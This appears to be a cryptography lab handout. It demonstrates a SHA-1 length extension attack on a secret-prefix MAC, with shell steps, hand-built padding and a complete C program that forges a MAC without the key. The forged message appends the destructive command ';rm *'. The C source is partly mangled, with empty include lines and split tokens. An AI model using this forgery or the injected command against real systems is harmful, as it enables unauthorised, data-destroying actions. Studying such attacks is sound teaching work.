Implementing Message Authentication Codes can be tricky! Simple solutions consisting of appending the key to the message and hashing the result have weaknesses. In the following we demonstrate a length extension attack. Length extension attacks are a type of attack when certain types of hashes are misused as message authentication codes, allowing for inclusion of extra information. Consider the following scenario: A server uses a MAC in order to authenticate messages from clients. The administrator of the server, Bob, choses to implement a MAC by using SHA-1 to hash the string obtained by concatenating a 6-byte key and the message. We will show that an attacker, Eve, is able to forge a message and its MAC that the server will authenticate as coming from Alice, and that, without knowing the secret key! The forged message is not 'any' message. It is a message obtained by extending an original message, whose hash is known by the attacker. Now assume that the secret key between a particular client, Alice, is 'secret'. The original message sent to the client is "file123456.png". Create 2 files, one containing the key, key.txt, and one containing the message, message.txt. root@kali:~# cat > key.txt secret root@kali:~# cat > message.txt file123456.png The MAC created by the client, Alice can be calculated using openssl. The hash is saved in a file called mac.txt: root@kali:~# cat key.txt message.txt > keyMessage.txt root@kali:~# openssl dgst -sha1 -binary -out mac.txt keyMessage.txt Now suppose that Alice sends the message and its MAC to the server. Unfortunately Eve was eavesdropping on the network and was able to capture both the original message and its corresponding MAC. Eve decides to forge a message by adding the extension ";rm *" to the original message. She creates a file containing the extension: root@kali:~# cat > extension.txt ;rm * Now, she needs to calculate a new MAC for this forged message, without knowing the secret key. First, Eve needs to reconstruct the padding that was used to calculate the hash of the original message. According to the specifications for SHA-1, the original message should have been padded with a '1' bit, some number of 0s, followed by the length of the original message.The original message "file123456.png" was on 14 bytes, and Eve knows that the key is 6 bytes long, so she creates some padding starting with 1, followed by as many 0s as necessary to almost fill a block (512 bits), with the last 64 bits of the block, containing 20 (size in bytes of the message and the key). She saves the padding into a file called padding.txt: root@kali:~# echo -n -e \\x80 >> padding.txt root@kali:~# for i in {1..42}; do echo -n -e \\x00 >>padding.txt ; done root@kali:~# echo -n -e \\xA0 >> padding.txt hexeditor Verify the contents of the padding.txt file using a binary editor, hexeditor ( see figure on the right, press Ctrl+C then Enter to quit without saving): root@kali:~# hexeditor padding.txt Eve can now craft the forged message and save it into a file called forgedMessage.txt: root@kali:~# cat message.txt padding.txt extension.txt > forgedMessage.txt /* * Length extension attack lengthExtension.c * * gcc lengthExtension.c - lcrypto -std=c99 -o lengthExtension */ #include #include #include < stdlib.h> #include < openssl/ sha.h> int main(int argc, char * argv[]) { if( argc != 3){ printf("Usage: %s macFile extensionFile ", argv[0]); } else { FILE *fl = fopen( argv[1], "r"); fseek(fl, 0, SEEK_END); long len = ftell(fl); char *hash = malloc( len); fseek(fl, 0, SEEK_SET); fread(hash, 1, len, fl); fclose(fl); FILE *fl2 = fopen( argv[2], "r"); fseek(fl2, 0, SEEK_END); long len2 = ftell(fl2); char *ext = malloc( len2); fseek(fl2, 0, SEEK_SET); fread(ext, 1, len2, fl2); fclose(fl2); SHA_CTX ctx; SHA1_ Init(& ctx); ctx. Nl = 512; ctx.h0 = 0; ctx.h0 += hash[0] << 24; ctx.h0 += (hash[1] << 16) & 0x00 ffffff; ctx.h0 += (hash[2] << 8) & 0x0000 ffff; ctx.h0 += hash[3] & 0x000000ff; ctx.h1 = 0; ctx.h1 += hash[4] << 24; ctx.h1 += (hash[5] << 16) & 0x00 ffffff; ctx.h1 += (hash[6] << 8) & 0x0000 ffff; ctx.h1 += hash[7] & 0x000000ff; ctx.h2 = 0; ctx.h2 += hash[8] << 24; ctx.h2 += (hash[9] << 16) & 0x00 ffffff; ctx.h2 += (hash[10] << 8) & 0x0000 ffff; ctx.h2 += hash[11] & 0x000000ff; ctx.h3 = 0; ctx.h3 += hash[12] << 24; ctx.h3 += (hash[13] << 16) & 0x00 ffffff; ctx.h3 += (hash[14] << 8) & 0x0000 ffff; ctx.h3 += hash[15] & 0x000000ff; ctx.h4 = 0; ctx.h4 += hash[16] << 24; ctx.h4 += (hash[17] << 16) & 0x00 ffffff; ctx.h4 += (hash[18] << 8) & 0x0000 ffff; ctx.h4 += hash[19] & 0x000000ff; printf("h0=%02x ", ctx.h0); printf("h1=%02x ", ctx.h1); printf("h2=%02x ", ctx.h2); printf("h3=%02x ", ctx.h3); printf("h4=%02x ", ctx.h4); unsigned char result[SHA_DIGEST_LENGTH]; SHA1_Update(& ctx, (unsigned char *) ext, len2); SHA1_Final(result, & ctx); printf("Forged MAC = "); for (int i = 0; i < SHA_DIGEST_LENGTH; i++) printf("%02x", result[i]); printf(" "); return 0; } } Eve is now ready to create the forged MAC using a program called lengthExt. This program takes as inputs the original MAC and the extension. It outputs the forged MAC. The program source code is posted on Blackboard. Why does this work? Algorithms like MD5 and SHA-1 that are based on the MerkleDamgrd construction, in which the input is first padded, then broken down into blocks of fixed size. Each block is processed one at a time, each time a block is combined with the output of the previous round using a compression function. By reusing the original MAC, we recreate the 'state' of the SHA function when the original message was hashed. We can reuse this state to input into the processing of more blocks of input. Download the source code (lengthExtension.c) and compile it (You must have an internet connection for this step): root@kali:~# sudo apt-get update root@kali:~# sudo apt-get install libssl-dev root@kali:~# gcc -lcrypto -std=c99 -o lengthExt lengthExtension.c root@kali:~# ./lengthExt mac.txt extension.txt Even will send the forged MAC and the forged message to server. Upon reception of those elements, the server would calculate the SHA-1 hash of the forged message and the forged key: root@kali:~# cat key.txt forgedMessage.txt > keyForgedMessage.txt root@kali:~# openssl dgst -sha1 keyForgedMessage.txt What will the server decide?